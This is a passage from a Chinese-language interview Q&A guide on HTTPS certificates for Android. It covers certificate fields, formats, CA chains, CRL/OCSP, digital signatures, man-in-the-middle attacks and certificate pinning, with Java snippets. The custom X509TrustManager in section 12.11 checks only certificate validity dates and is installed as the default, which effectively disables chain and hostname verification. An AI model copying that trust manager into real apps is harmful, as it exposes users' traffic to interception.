PublicKey publicKey = cert.getPublicKey();

总结:

  • 证书包含版本、序列号、签名算法等
  • 证书包含颁发者、主体、公钥信息
  • 证书包含有效期和扩展信息
  • 证书包含CA签名

12.3 数字证书包含哪些信息?

答案:

数字证书包含的信息:

  1. 基本信息

    • 版本号
    • 序列号
    • 签名算法
  2. 颁发者信息(Issuer)

    • CA名称
    • CA组织
    • CA国家
  3. 主体信息(Subject)

    • 域名(CN)
    • 组织(O)
    • 国家(C)
  4. 有效期

    • 生效时间(Not Before)
    • 过期时间(Not After)
  5. 公钥信息

    • 公钥算法(RSA/ECC)
    • 公钥数据
  6. 扩展信息

    • SAN(Subject Alternative Name)
    • 密钥用途
    • 扩展密钥用途
  7. 签名信息

    • CA签名
    • 签名算法

证书信息示例:

证书信息:
  版本:v3
  序列号:1234567890
  签名算法:SHA256withRSA
  
  颁发者:
    CN=Let's Encrypt
    O=Let's Encrypt
    C=US
  
  主体:
    CN=www.example.com
    O=Example Inc
    C=CN
  
  有效期:
    生效:2024-01-01
    过期:2024-04-01
  
  公钥:
    算法:RSA
    长度:2048位
  
  扩展:
    SAN: www.example.com, example.com
    Key Usage: Digital Signature, Key Encipherment
  
  签名:
    [CA签名数据]

Android代码示例:

// 获取证书信息
X509Certificate cert = (X509Certificate) certificates[0];

// 基本信息
int version = cert.getVersion();
BigInteger serialNumber = cert.getSerialNumber();
String sigAlgName = cert.getSigAlgName();

// 颁发者和主体
String issuer = cert.getIssuerDN().getName();
String subject = cert.getSubjectDN().getName();

// 有效期
Date notBefore = cert.getNotBefore();
Date notAfter = cert.getNotAfter();

// 公钥
PublicKey publicKey = cert.getPublicKey();
String keyAlgorithm = publicKey.getAlgorithm();

总结:

  • 证书包含版本、序列号、签名算法
  • 证书包含颁发者、主体、有效期
  • 证书包含公钥和扩展信息
  • 证书包含CA签名

12.4 数字证书的格式有哪些?

答案:

数字证书的格式:

  1. DER(Distinguished Encoding Rules)

    • 二进制格式
    • ASN.1编码
    • 文件扩展名:.der、.crt、.cer
  2. PEM(Privacy-Enhanced Mail)

    • Base64编码的DER
    • 文本格式
    • 文件扩展名:.pem、.crt、.cer
    • -----BEGIN CERTIFICATE-----开头
  3. PKCS#12(.p12、.pfx)

    • 包含证书和私钥
    • 密码保护
    • 用于客户端证书
  4. PKCS#7(.p7b、.p7c)

    • 证书链格式
    • 可以包含多个证书

格式对比:

格式编码内容扩展名
DER二进制单个证书.der、.crt、.cer
PEMBase64单个证书.pem、.crt、.cer
PKCS#12二进制证书+私钥.p12、.pfx
PKCS#7二进制证书链.p7b、.p7c

PEM格式示例:

-----BEGIN CERTIFICATE-----
MIIFazCCA1OgAwIBAgIRAIIQz7DSQONZRGPgu2OCiwAwDQYJKoZIhvcNAQELBQAw
RTELMAkGA1UEBhMCQVUxEzARBgNVBAgMClNvbWUtU3RhdGUxITAfBgNVBAoMGElu
...
-----END CERTIFICATE-----

Android代码示例:

// 读取PEM格式证书
CertificateFactory factory = CertificateFactory.getInstance("X.509");
InputStream certStream = new FileInputStream("cert.pem");
X509Certificate cert = (X509Certificate) factory.generateCertificate(certStream);

// 读取PKCS#12格式(证书+私钥)
KeyStore keyStore = KeyStore.getInstance("PKCS12");
keyStore.load(new FileInputStream("cert.p12"), "password".toCharArray());
PrivateKey privateKey = (PrivateKey) keyStore.getKey("alias", "password".toCharArray());
X509Certificate cert = (X509Certificate) keyStore.getCertificate("alias");

总结:

  • DER:二进制格式
  • PEM:Base64文本格式(常用)
  • PKCS#12:证书+私钥
  • PKCS#7:证书链

12.5 X.509证书是什么?

答案:

X.509是数字证书的标准格式,定义了证书的结构和编码方式。

X.509定义:

  • ITU-T X.509标准
  • 定义了证书结构
  • 定义了证书编码
  • 广泛使用的证书格式

X.509证书结构:

  • 版本号
  • 序列号
  • 签名算法
  • 颁发者
  • 有效期
  • 主体
  • 公钥信息
  • 扩展
  • 签名

X.509版本:

  • v1:基本证书
  • v2:添加颁发者和主体唯一标识
  • v3:添加扩展(当前标准)

X.509应用:

  • HTTPS证书
  • SSL/TLS证书
  • 代码签名证书
  • 客户端证书

Android代码示例:

// X.509证书
CertificateFactory factory = CertificateFactory.getInstance("X.509");
// X.509是标准格式

// 读取X.509证书
InputStream certStream = new FileInputStream("cert.pem");
X509Certificate cert = (X509Certificate) factory.generateCertificate(certStream);

// X.509证书信息
int version = cert.getVersion();  // v3
BigInteger serialNumber = cert.getSerialNumber();
String subject = cert.getSubjectDN().getName();
String issuer = cert.getIssuerDN().getName();

总结:

  • X.509是数字证书标准格式
  • 定义了证书结构和编码
  • 广泛使用(HTTPS、SSL/TLS)
  • 当前标准是v3

12.6 CA机构的作用是什么?

答案:

CA(Certificate Authority,证书颁发机构)的作用:

  1. 颁发证书

    • 验证申请者身份
    • 颁发数字证书
    • 签名证书
  2. 建立信任

    • 作为信任根
    • 用户信任CA
    • 通过CA信任服务器
  3. 证书管理

    • 证书撤销
    • 证书更新
    • 证书生命周期管理
  4. 验证身份

    • 验证域名所有权
    • 验证组织身份
    • 保证证书真实性

CA工作流程:

1. 申请者向CA申请证书
2. CA验证申请者身份
3. CA颁发证书并签名
4. 服务器使用证书
5. 客户端验证证书(信任CA)

常见CA机构:

  • Let's Encrypt(免费)
  • DigiCert(商业)
  • GlobalSign(商业)
  • Sectigo(商业)

Android代码示例:

// CA证书存储在系统信任存储中
// Android自动验证CA签名

// 获取系统信任的CA
KeyStore keyStore = KeyStore.getInstance("AndroidCAStore");
keyStore.load(null, null);
Enumeration<String> aliases = keyStore.aliases();
while (aliases.hasMoreElements()) {
    String alias = aliases.nextElement();
    X509Certificate caCert = (X509Certificate) keyStore.getCertificate(alias);
    // CA证书列表
}

总结:

  • CA颁发和签名证书
  • CA建立信任链
  • CA管理证书生命周期
  • 用户信任CA,从而信任服务器

12.7 常见的CA机构有哪些?

答案:

常见的CA机构:

  1. Let's Encrypt

    • 免费CA
    • 自动化证书颁发
    • 广泛使用
  2. DigiCert

    • 商业CA
    • 高信任度
    • 企业级证书
  3. GlobalSign

    • 商业CA
    • 全球信任
    • 企业级证书
  4. Sectigo(原Comodo)

    • 商业CA
    • 广泛使用
    • 价格较低
  5. GoDaddy

    • 域名注册商
    • 也提供证书
    • 价格较低

CA对比:

CA机构类型价格信任度使用
Let's Encrypt免费免费广泛
DigiCert商业很高企业
GlobalSign商业企业
Sectigo商业广泛
GoDaddy商业个人

选择建议:

  • 个人/小项目:Let's Encrypt(免费)
  • 企业项目:DigiCert/GlobalSign(高信任度)
  • 预算有限:Sectigo/GoDaddy(价格低)

总结:

  • Let's Encrypt:免费,广泛使用
  • DigiCert/GlobalSign:商业,高信任度
  • Sectigo/GoDaddy:商业,价格低

12.8 证书链是什么?

答案:

证书链(Certificate Chain)是从根证书到服务器证书的证书序列

证书链结构:

根证书(Root CA)
   签名
中间证书(Intermediate CA)
   签名
服务器证书(Server Certificate)

证书链作用:

  • 建立信任链
  • 验证证书真实性
  • 连接根CA和服务器证书

证书链示例:

根证书:DigiCert Global Root CA
  ↓
中间证书:DigiCert SHA2 High Assurance Server CA
  ↓
服务器证书:www.example.com

证书链验证:

  1. 验证服务器证书签名(由中间CA签名)
  2. 验证中间证书签名(由根CA签名)
  3. 验证根证书(系统信任存储中)
  4. 建立完整信任链

Android代码示例:

// 获取证书链
HttpsURLConnection conn = (HttpsURLConnection) url.openConnection();
Certificate[] certificates = conn.getServerCertificates();

// 证书链:certificates[0]是服务器证书,后续是中间证书
X509Certificate serverCert = (X509Certificate) certificates[0];
X509Certificate intermediateCert = (X509Certificate) certificates[1];
// 根证书在系统信任存储中

总结:

  • 证书链:根证书 → 中间证书 → 服务器证书
  • 建立信任链
  • 验证证书真实性
  • 连接根CA和服务器证书

12.9 根证书、中间证书、服务器证书的关系是什么?

答案:

根证书、中间证书、服务器证书的关系:

  1. 根证书(Root CA Certificate)

    • 自签名证书
    • 存储在系统信任存储中
    • 作为信任根
  2. 中间证书(Intermediate CA Certificate)

    • 由根CA签名
    • 用于签名服务器证书
    • 保护根证书私钥
  3. 服务器证书(Server Certificate)

    • 由中间CA签名
    • 包含服务器公钥
    • 用于HTTPS连接

关系链:

根证书(自签名)
   签名
中间证书(由根CA签名)
   签名
服务器证书(由中间CA签名)

为什么需要中间证书?

  • 保护根证书私钥(不直接签名服务器证书)
  • 灵活管理(可以撤销中间证书)
  • 安全隔离(根证书私钥离线存储)

Android代码示例:

// 证书链验证
Certificate[] certificates = conn.getServerCertificates();

// 服务器证书
X509Certificate serverCert = (X509Certificate) certificates[0];
Principal serverSubject = serverCert.getSubjectDN();
Principal serverIssuer = serverCert.getIssuerDN();  // 中间CA

// 中间证书
X509Certificate intermediateCert = (X509Certificate) certificates[1];
Principal intermediateSubject = intermediateCert.getSubjectDN();  // 中间CA
Principal intermediateIssuer = intermediateCert.getIssuerDN();  // 根CA

// 根证书在系统信任存储中

总结:

  • 根证书:信任根,自签名
  • 中间证书:由根CA签名,签名服务器证书
  • 服务器证书:由中间CA签名,用于HTTPS
  • 建立完整信任链

12.10 如何验证证书链?

答案:

验证证书链的方法:

  1. 验证服务器证书

    • 检查签名(由中间CA签名)
    • 检查有效期
    • 检查域名匹配
  2. 验证中间证书

    • 检查签名(由根CA签名)
    • 检查有效期
    • 检查证书用途
  3. 验证根证书

    • 检查是否在系统信任存储中
    • 检查是否被信任
    • 建立信任链

验证流程:

1. 验证服务器证书签名(使用中间证书公钥)
2. 验证中间证书签名(使用根证书公钥)
3. 检查根证书是否在系统信任存储中
4. 检查所有证书的有效期
5. 检查域名匹配
6. 建立完整信任链

Android代码示例:

// 证书链验证(自动)
URL httpsUrl = new URL("https://www.example.com");
HttpsURLConnection conn = (HttpsURLConnection) httpsUrl.openConnection();

// SSL/TLS自动验证证书链
// 1. 验证服务器证书签名
// 2. 验证中间证书签名
// 3. 检查根证书信任
// 4. 检查有效期和域名

conn.connect();  // 如果证书链验证失败,会抛出异常

// 手动验证证书链
Certificate[] certificates = conn.getServerCertificates();
X509Certificate serverCert = (X509Certificate) certificates[0];

// 验证证书
try {
    serverCert.checkValidity();  // 检查有效期
    // 验证签名和信任链(系统自动处理)
} catch (CertificateExpiredException e) {
    // 证书过期
} catch (CertificateNotYetValidException e) {
    // 证书未生效
}

验证要点:

  • 签名验证
  • 有效期检查
  • 域名匹配
  • 信任链建立
  • 证书撤销检查

总结:

  • 验证服务器证书签名
  • 验证中间证书签名
  • 检查根证书信任
  • 检查有效期和域名
  • 建立完整信任链

12.11 如何验证HTTPS证书?

答案:

验证HTTPS证书的方法:

  1. 自动验证(默认)

    • Android自动验证
    • 检查CA签名
    • 检查有效期
    • 检查域名匹配
  2. 手动验证

    • 自定义验证逻辑
    • 实现X509TrustManager
    • 自定义证书验证

自动验证(默认):

// Android自动验证证书
URL httpsUrl = new URL("https://www.example.com");
HttpsURLConnection conn = (HttpsURLConnection) httpsUrl.openConnection();

// SSL/TLS自动验证:
// 1. 检查CA签名
// 2. 检查有效期
// 3. 检查域名匹配
// 4. 检查证书撤销

conn.connect();  // 如果验证失败,会抛出SSLException

手动验证(自定义):

// 自定义证书验证
TrustManager[] trustManagers = new TrustManager[]{
    new X509TrustManager() {
        @Override
        public void checkClientTrusted(X509Certificate[] chain, String authType) {
            // 验证客户端证书
        }

        @Override
        public void checkServerTrusted(X509Certificate[] chain, String authType) {
            // 验证服务器证书
            for (X509Certificate cert : chain) {
                cert.checkValidity();  // 检查有效期
                // 其他验证逻辑
            }
        }

        @Override
        public X509Certificate[] getAcceptedIssuers() {
            return new X509Certificate[0];
        }
    }
};

SSLContext sslContext = SSLContext.getInstance("TLS");
sslContext.init(null, trustManagers, null);
HttpsURLConnection.setDefaultSSLSocketFactory(sslContext.getSocketFactory());

验证内容:

  • CA签名验证
  • 有效期检查
  • 域名匹配
  • 证书撤销检查
  • 证书链验证

最佳实践:

  • 使用自动验证(默认)
  • 只在特殊情况下自定义验证
  • 不要跳过证书验证(不安全)

总结:

  • Android自动验证证书(默认)
  • 可以自定义验证逻辑
  • 验证CA签名、有效期、域名等
  • 不要跳过证书验证

12.12 证书验证的流程是什么?

答案:

证书验证的流程:

  1. 接收证书

    • 服务器发送证书
    • 客户端接收证书
    • 获取证书链
  2. 验证签名

    • 验证服务器证书签名(使用中间CA公钥)
    • 验证中间证书签名(使用根CA公钥)
    • 建立信任链
  3. 检查有效期

    • 检查证书是否在有效期内
    • 检查Not Before和Not After
  4. 检查域名

    • 检查证书域名是否匹配
    • 检查CN和SAN
  5. 检查撤销

    • 检查CRL(证书撤销列表)
    • 检查OCSP(在线证书状态协议)
  6. 建立信任

    • 验证根证书在系统信任存储中
    • 建立完整信任链

验证流程:

1. 接收服务器证书
   ↓
2. 验证服务器证书签名(使用中间CA公钥)
   ↓
3. 验证中间证书签名(使用根CA公钥)
   ↓
4. 检查根证书是否在系统信任存储中
   ↓
5. 检查所有证书的有效期
   ↓
6. 检查域名匹配
   ↓
7. 检查证书撤销状态(可选)
   ↓
8. 验证通过,建立信任

Android代码示例:

// 证书验证流程(自动)
HttpsURLConnection conn = (HttpsURLConnection) url.openConnection();

// 1. 接收证书(自动)
conn.connect();

// 2-8. 验证流程(自动)
// 如果验证失败,会抛出SSLException

// 手动验证流程
Certificate[] certificates = conn.getServerCertificates();
X509Certificate serverCert = (X509Certificate) certificates[0];

// 1. 检查有效期
serverCert.checkValidity();

// 2. 检查域名
String subject = serverCert.getSubjectDN().getName();
// 检查CN和SAN是否匹配

// 3. 验证签名(系统自动处理)
// 4. 检查信任链(系统自动处理)

验证要点:

  • 签名验证
  • 有效期检查
  • 域名匹配
  • 证书撤销检查
  • 信任链建立

总结:

  • 接收证书 → 验证签名 → 检查有效期 → 检查域名 → 检查撤销 → 建立信任
  • Android自动处理大部分验证
  • 可以自定义验证逻辑

12.13 证书过期如何处理?

答案:

证书过期的处理方法:

  1. 预防措施

    • 监控证书有效期
    • 提前更新证书
    • 设置证书到期提醒
  2. 证书更新

    • 申请新证书
    • 替换旧证书
    • 重启服务
  3. 错误处理

    • 捕获CertificateExpiredException
    • 显示友好错误提示
    • 引导用户更新

证书过期检测:

// 检查证书有效期
X509Certificate cert = (X509Certificate) certificates[0];
Date notAfter = cert.getNotAfter();
Date now = new Date();

if (now.after(notAfter)) {
    // 证书已过期
    throw new CertificateExpiredException("Certificate expired");
}

// 检查证书即将过期(提前30天)
long daysUntilExpiry = (notAfter.getTime() - now.getTime()) / (1000 * 60 * 60 * 24);
if (daysUntilExpiry < 30) {
    // 证书即将过期,需要更新
}

证书更新流程:

1. 检测证书即将过期
2. 申请新证书(从CA)
3. 安装新证书
4. 重启服务
5. 验证新证书

Android代码示例:

// 处理证书过期
try {
    HttpsURLConnection conn = (HttpsURLConnection) url.openConnection();
    conn.connect();
} catch (SSLException e) {
    if (e.getCause() instanceof CertificateExpiredException) {
        // 证书过期
        showError("证书已过期,请联系服务器管理员");
    }
}

最佳实践:

  • 监控证书有效期
  • 提前更新证书(至少提前30天)
  • 设置自动更新(Let's Encrypt)
  • 处理证书过期错误

总结:

  • 预防:监控有效期,提前更新
  • 更新:申请新证书,替换旧证书
  • 处理:捕获异常,显示友好提示

12.14 证书撤销列表(CRL)是什么?

答案:

CRL(Certificate Revocation List,证书撤销列表)是CA发布的已撤销证书列表

CRL作用:

  • 列出已撤销的证书
  • 客户端检查证书是否被撤销
  • 防止使用已撤销的证书

CRL特点:

  • 定期更新(通常每天)
  • 包含撤销证书的序列号
  • 包含撤销原因
  • 包含撤销时间

CRL使用:

1. CA发布CRL
2. 客户端下载CRL
3. 客户端检查证书序列号是否在CRL中
4. 如果在CRL中,证书被撤销,拒绝连接

CRL问题:

  • 需要定期下载(性能开销)
  • 可能有延迟(证书撤销后需要等待CRL更新)
  • 文件可能很大

OCSP替代:

  • OCSP(Online Certificate Status Protocol)
  • 实时查询证书状态
  • 不需要下载完整CRL
  • 性能更好

Android代码示例:

// CRL检查(系统自动处理)
// Android使用OCSP优先,CRL作为备选

// 手动检查CRL
CertificateFactory factory = CertificateFactory.getInstance("X.509");
X509CRL crl = (X509CRL) factory.generateCRL(crlInputStream);

X509Certificate cert = (X509Certificate) certificates[0];
if (crl.isRevoked(cert)) {
    // 证书被撤销
    throw new CertificateException("Certificate revoked");
}

总结:

  • CRL是已撤销证书列表
  • 客户端检查证书是否在CRL中
  • 有性能问题,OCSP是更好的选择
  • Android优先使用OCSP

12.15 OCSP是什么?

答案:

OCSP(Online Certificate Status Protocol,在线证书状态协议)是实时查询证书状态的协议

OCSP作用:

  • 实时查询证书是否被撤销
  • 不需要下载完整CRL
  • 性能更好

OCSP工作流程:

1. 客户端发送OCSP请求(包含证书信息)
2. OCSP服务器查询证书状态
3. OCSP服务器返回证书状态(good/revoked/unknown)
4. 客户端根据状态决定是否信任证书

OCSP vs CRL:

特性CRLOCSP
更新方式定期下载实时查询
性能差(需要下载完整列表)好(只查询单个证书)
延迟可能有延迟实时
使用传统方式现代方式(推荐)

OCSP优势:

  • 实时查询
  • 性能好
  • 不需要下载完整列表
  • 现代标准

Android代码示例:

// OCSP检查(系统自动处理)
// Android优先使用OCSP,CRL作为备选

// OCSP在HTTPS连接中自动使用
URL httpsUrl = new URL("https://www.example.com");
HttpsURLConnection conn = (HttpsURLConnection) httpsUrl.openConnection();

// SSL/TLS自动进行OCSP检查
// 1. 从证书中获取OCSP URL
// 2. 发送OCSP请求
// 3. 接收OCSP响应
// 4. 验证证书状态

conn.connect();  // OCSP检查自动进行

OCSP Stapling:

  • 服务器预先获取OCSP响应
  • 服务器在TLS握手时发送OCSP响应
  • 减少客户端OCSP查询
  • 提高性能

总结:

  • OCSP是实时查询证书状态的协议
  • 性能比CRL好
  • Android优先使用OCSP
  • OCSP Stapling可以进一步提高性能

第十三章:HTTPS 安全机制(15 题)

13.1 数字签名的作用是什么?

答案:

数字签名(Digital Signature)的作用:

  1. 身份验证

    • 证明数据来源
    • 验证发送者身份
    • 防止冒充
  2. 数据完整性

    • 验证数据未被篡改
    • 检测数据修改
    • 保证数据完整性
  3. 不可否认性

    • 发送者无法否认发送
    • 提供法律证据
    • 保证责任追溯

数字签名在HTTPS中的作用:

  • 证书签名:CA对证书签名,证明证书真实性
  • 数据完整性:验证传输数据未被篡改
  • 身份验证:验证服务器身份

Android代码示例:

// 数字签名生成
Signature signature = Signature.getInstance("SHA256withRSA");
signature.initSign(privateKey);
signature.update(data);
byte[] signatureBytes = signature.sign();

// 数字签名验证
signature.initVerify(publicKey);
signature.update(data);
boolean verified = signature.verify(signatureBytes);

总结:

  • 数字签名用于身份验证
  • 数字签名保证数据完整性
  • 数字签名提供不可否认性
  • HTTPS使用数字签名验证证书和数据

13.2 数字签名的原理是什么?

答案:

数字签名的原理:

  1. 签名生成

    • 对数据计算哈希值
    • 使用私钥加密哈希值
    • 得到数字签名
  2. 签名验证

    • 对数据计算哈希值
    • 使用公钥解密签名
    • 比较两个哈希值

签名流程:

签名生成:
  数据 → 哈希算法 → 哈希值 → 私钥加密 → 数字签名

签名验证:
  数据 → 哈希算法 → 哈希值1
  数字签名 → 公钥解密 → 哈希值2
  比较哈希值1和哈希值2 → 验证结果

数字签名原理:

  • 使用非对称加密(私钥签名,公钥验证)
  • 使用哈希算法(生成数据摘要)
  • 结合两者保证安全性和完整性

Android代码示例:

// 数字签名原理
// 1. 生成哈希值
MessageDigest md = MessageDigest.getInstance("SHA-256");
byte[] hash = md.digest(data);

// 2. 使用私钥加密哈希值(签名)
Cipher cipher = Cipher.getInstance("RSA");
cipher.init(Cipher.ENCRYPT_MODE, privateKey);
byte[] signature = cipher.doFinal(hash);

// 3. 使用公钥解密签名(验证)
cipher.init(Cipher.DECRYPT_MODE, publicKey);
byte[] decryptedHash = cipher.doFinal(signature);

// 4. 比较哈希值
boolean verified = Arrays.equals(hash, decryptedHash);

总结:

  • 数字签名 = 哈希算法 + 非对称加密
  • 私钥签名,公钥验证
  • 保证身份验证和数据完整性

13.3 数字签名如何生成?

答案:

数字签名生成过程:

  1. 计算哈希值

    • 对原始数据使用哈希算法
    • 生成固定长度的哈希值
    • 例如:SHA-256
  2. 私钥加密

    • 使用私钥加密哈希值
    • 得到数字签名
    • 例如:RSA私钥加密

生成流程:

原始数据
  ↓
哈希算法(SHA-256)
  ↓
哈希值
  ↓
私钥加密(RSA)
  ↓
数字签名

Android代码示例:

// 数字签名生成
// 1. 准备数据
byte[] data = "Hello World".getBytes();

// 2. 计算哈希值
MessageDigest md = MessageDigest.getInstance("SHA-256");
byte[] hash = md.digest(data);

// 3. 使用私钥加密哈希值
Signature signature = Signature.getInstance("SHA256withRSA");
signature.initSign(privateKey);
signature.update(data);
byte[] signatureBytes = signature.sign();

// 或者直接使用Signature类(自动处理哈希)
signature.initSign(privateKey);
signature.update(data);
byte[] signatureBytes = signature.sign();

签名算法:

  • SHA256withRSA:SHA-256哈希 + RSA加密
  • SHA384withRSA:SHA-384哈希 + RSA加密
  • SHA256withECDSA:SHA-256哈希 + ECDSA加密

总结:

  • 计算数据哈希值
  • 使用私钥加密哈希值
  • 得到数字签名

13.4 数字签名如何验证?

答案:

数字签名验证过程:

  1. 计算哈希值

    • 对原始数据使用相同的哈希算法
    • 生成哈希值
  2. 公钥解密

    • 使用公钥解密数字签名
    • 得到原始哈希值
  3. 比较哈希值

    • 比较计算出的哈希值和解密出的哈希值
    • 如果相同,验证通过
    • 如果不同,验证失败

验证流程:

原始数据
  ↓
哈希算法(SHA-256)
  ↓
哈希值1

数字签名
  ↓
公钥解密(RSA)
  ↓
哈希值2

比较哈希值1和哈希值2
  ↓
验证结果(相同=通过,不同=失败)

Android代码示例:

// 数字签名验证
// 1. 准备数据和签名
byte[] data = "Hello World".getBytes();
byte[] signatureBytes = ...;  // 接收到的签名

// 2. 验证签名
Signature signature = Signature.getInstance("SHA256withRSA");
signature.initVerify(publicKey);
signature.update(data);
boolean verified = signature.verify(signatureBytes);

if (verified) {
    // 签名验证通过
} else {
    // 签名验证失败
}

验证结果:

  • 验证通过:数据未被篡改,签名有效
  • 验证失败:数据被篡改或签名无效

总结:

  • 计算数据哈希值
  • 使用公钥解密签名
  • 比较哈希值
  • 判断验证结果

13.5 数字签名如何保证完整性?

答案:

数字签名保证完整性的原理:

  1. 哈希算法特性

    • 雪崩效应:数据微小变化导致哈希值巨大变化
    • 单向性:无法从哈希值恢复原数据
    • 抗碰撞性:很难找到两个不同数据产生相同哈希值
  2. 签名验证

    • 如果数据被篡改,哈希值会改变
    • 解密签名得到的哈希值与新计算的哈希值不同
    • 验证失败,检测到数据被篡改

完整性保证流程:

原始数据 → 哈希值1 → 私钥加密 → 签名

如果数据被篡改:
  篡改数据 → 哈希值2(与哈希值1不同)
  签名 → 公钥解密 → 哈希值1
  比较哈希值1和哈希值2 → 不同 → 验证失败 → 检测到篡改

Android代码示例:

// 数字签名保证完整性
byte[] originalData = "Hello World".getBytes();
byte[] signature = generateSignature(originalData, privateKey);

// 如果数据被篡改
byte[] tamperedData = "Hello World!".getBytes();  // 数据被修改

// 验证签名
boolean verified = verifySignature(tamperedData, signature, publicKey);
// verified = false,检测到数据被篡改

完整性保证:

  • 数据未被篡改:哈希值相同,验证通过
  • 数据被篡改:哈希值不同,验证失败
  • 保证数据完整性

总结:

  • 利用哈希算法的雪崩效应
  • 数据被篡改会导致哈希值改变
  • 签名验证失败,检测到篡改
  • 保证数据完整性

13.6 中间人攻击是什么?

答案:

中间人攻击(Man-in-the-Middle Attack,MITM)是攻击者在客户端和服务器之间拦截和修改通信的攻击方式

中间人攻击原理:

正常通信:
  客户端 ←→ 服务器

中间人攻击:
  客户端 ←→ [攻击者] ←→ 服务器
            ↑
        攻击者拦截和修改通信

攻击方式:

  1. 拦截通信

    • 攻击者位于客户端和服务器之间
    • 拦截所有通信数据
  2. 冒充服务器

    • 攻击者向客户端冒充服务器
    • 向客户端发送伪造的证书
  3. 修改数据

    • 修改传输的数据
    • 窃取敏感信息

攻击场景:

  • 公共WiFi网络
  • 恶意代理服务器
  • ARP欺骗
  • DNS劫持

Android代码示例:

// 中间人攻击示例(仅用于演示,实际中应该防止)
// 攻击者可能:
// 1. 拦截HTTPS连接
// 2. 发送伪造证书
// 3. 解密和修改数据

// 防止中间人攻击:使用HTTPS和证书验证
URL httpsUrl = new URL("https://www.example.com");
HttpsURLConnection conn = (HttpsURLConnection) httpsUrl.openConnection();

// HTTPS和证书验证可以防止中间人攻击
conn.connect();

总结:

  • 中间人攻击是拦截和修改通信的攻击
  • 攻击者位于客户端和服务器之间
  • 可以拦截、修改、窃取数据
  • HTTPS和证书验证可以防止

13.7 中间人攻击的原理是什么?

答案:

中间人攻击的原理:

  1. 位置优势

    • 攻击者位于客户端和服务器之间
    • 可以拦截所有通信
    • 可以修改通信内容
  2. 冒充身份

    • 向客户端冒充服务器
    • 向服务器冒充客户端
    • 建立两个独立的连接
  3. 数据转发

    • 拦截客户端数据
    • 修改后转发给服务器
    • 拦截服务器数据
    • 修改后转发给客户端

攻击流程:

1. 攻击者拦截客户端请求
2. 攻击者向客户端发送伪造响应(冒充服务器)
3. 攻击者向服务器发送请求(冒充客户端)
4. 攻击者拦截服务器响应
5. 攻击者修改数据后转发
6. 客户端和服务器都不知道攻击者的存在

HTTP中间人攻击:

客户端 → [攻击者] → 服务器
         ↑
    攻击者可以:
    - 查看所有数据(明文)
    - 修改数据
    - 窃取密码、Cookie等

HTTPS如何防止:

  • 证书验证:客户端验证服务器证书,防止冒充
  • 加密传输:数据加密,攻击者无法查看
  • 完整性校验:数据被修改会被检测到

总结:

  • 攻击者位于通信路径中间
  • 冒充客户端和服务器
  • 拦截和修改通信
  • HTTPS可以防止中间人攻击

13.8 如何防止中间人攻击?

答案:

防止中间人攻击的方法:

  1. 使用HTTPS

    • 加密传输
    • 证书验证
    • 防止数据被窃听和篡改
  2. 证书验证

    • 验证服务器证书
    • 检查CA签名
    • 检查域名匹配
  3. 证书锁定(Certificate Pinning)

    • 固定服务器证书
    • 只信任特定证书
    • 防止伪造证书
  4. 安全网络

    • 使用可信网络
    • 避免公共WiFi
    • 使用VPN

防止方法:

1. HTTPS + 证书验证(基本防护)

// HTTPS自动验证证书
URL httpsUrl = new URL("https://www.example.com");
HttpsURLConnection conn = (HttpsURLConnection) httpsUrl.openConnection();
// 自动验证证书,防止中间人攻击
conn.connect();

2. 证书锁定(高级防护)

// 证书锁定
CertificatePinner certificatePinner = new CertificatePinner.Builder()
    .add("www.example.com", "sha256/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=")
    .build();

OkHttpClient client = new OkHttpClient.Builder()
    .certificatePinner(certificatePinner)
    .build();

3. 安全网络

  • 使用可信WiFi网络
  • 使用VPN
  • 避免公共WiFi

最佳实践:

  • 生产环境必须使用HTTPS
  • 启用证书验证
  • 考虑使用证书锁定
  • 使用安全网络

总结:

  • 使用HTTPS和证书验证
  • 使用证书锁定(高级防护)
  • 使用安全网络
  • 多层防护

13.9 HTTPS如何防止中间人攻击?

答案:

HTTPS防止中间人攻击的机制:

  1. 证书验证

    • 客户端验证服务器证书
    • 检查CA签名
    • 防止攻击者冒充服务器
  2. 加密传输

    • 数据加密传输
    • 攻击者无法查看数据
    • 防止数据被窃听
  3. 完整性校验

    • MAC验证数据完整性
    • 检测数据是否被篡改
    • 防止数据被修改

HTTPS防护机制:

1. 证书验证

客户端请求 → 服务器发送证书
客户端验证:
  - CA签名(攻击者无法伪造)
  - 域名匹配(防止域名欺骗)
  - 有效期(防止过期证书)
验证通过 → 建立连接
验证失败 → 拒绝连接

2. 加密传输

客户端和服务器:
  - 协商加密密钥
  - 加密所有数据
  - 攻击者无法解密

3. 完整性校验

每个数据包:
  - 计算MAC
  - 验证MAC
  - 检测篡改

Android代码示例:

// HTTPS自动防止中间人攻击
URL httpsUrl = new URL("https://www.example.com");
HttpsURLConnection conn = (HttpsURLConnection) httpsUrl.openConnection();

// SSL/TLS自动处理:
// 1. 证书验证(防止冒充)
// 2. 加密传输(防止窃听)
// 3. 完整性校验(防止篡改)

conn.connect();  // 如果中间人攻击,会检测到并拒绝连接

总结:

  • 证书验证:防止冒充服务器
  • 加密传输:防止数据被窃听
  • 完整性校验:防止数据被篡改
  • HTTPS有效防止中间人攻击

13.10 证书锁定(Certificate Pinning)是什么?

答案:

证书锁定(Certificate Pinning)是固定服务器证书,只信任特定证书的安全机制

证书锁定原理:

  • 客户端预先存储服务器证书的哈希值
  • 连接时验证服务器证书是否匹配
  • 如果不匹配,拒绝连接
  • 防止伪造证书攻击

证书锁定 vs 普通证书验证:

特性普通证书验证证书锁定
验证方式验证CA签名验证证书哈希值
灵活性高(接受任何CA签名的证书)低(只接受特定证书)
安全性
维护成本高(证书更新需要更新应用)

证书锁定优势:

  • 防止CA被攻击
  • 防止伪造证书
  • 提高安全性

证书锁定劣势:

  • 证书更新需要更新应用
  • 维护成本高
  • 灵活性低

Android代码示例(OkHttp):

// 证书锁定
CertificatePinner certificatePinner = new CertificatePinner.Builder()
    .add("www.example.com", "sha256/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=")
    .add("api.example.com", "sha256/BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB=")
    .build();

OkHttpClient client = new OkHttpClient.Builder()
    .certificatePinner(certificatePinner)
    .build();

总结:

  • 证书锁定固定服务器证书
  • 只信任特定证书
  • 提高安全性,但维护成本高
  • 适用于高安全要求场景

13.11 证书锁定的原理是什么?

答案:

证书锁定的原理:

  1. 预先存储

    • 客户端预先存储服务器证书的哈希值
    • 存储在应用代码或配置文件中
  2. 连接验证

    • 建立HTTPS连接时
    • 获取服务器证书
    • 计算证书哈希值
  3. 哈希比较

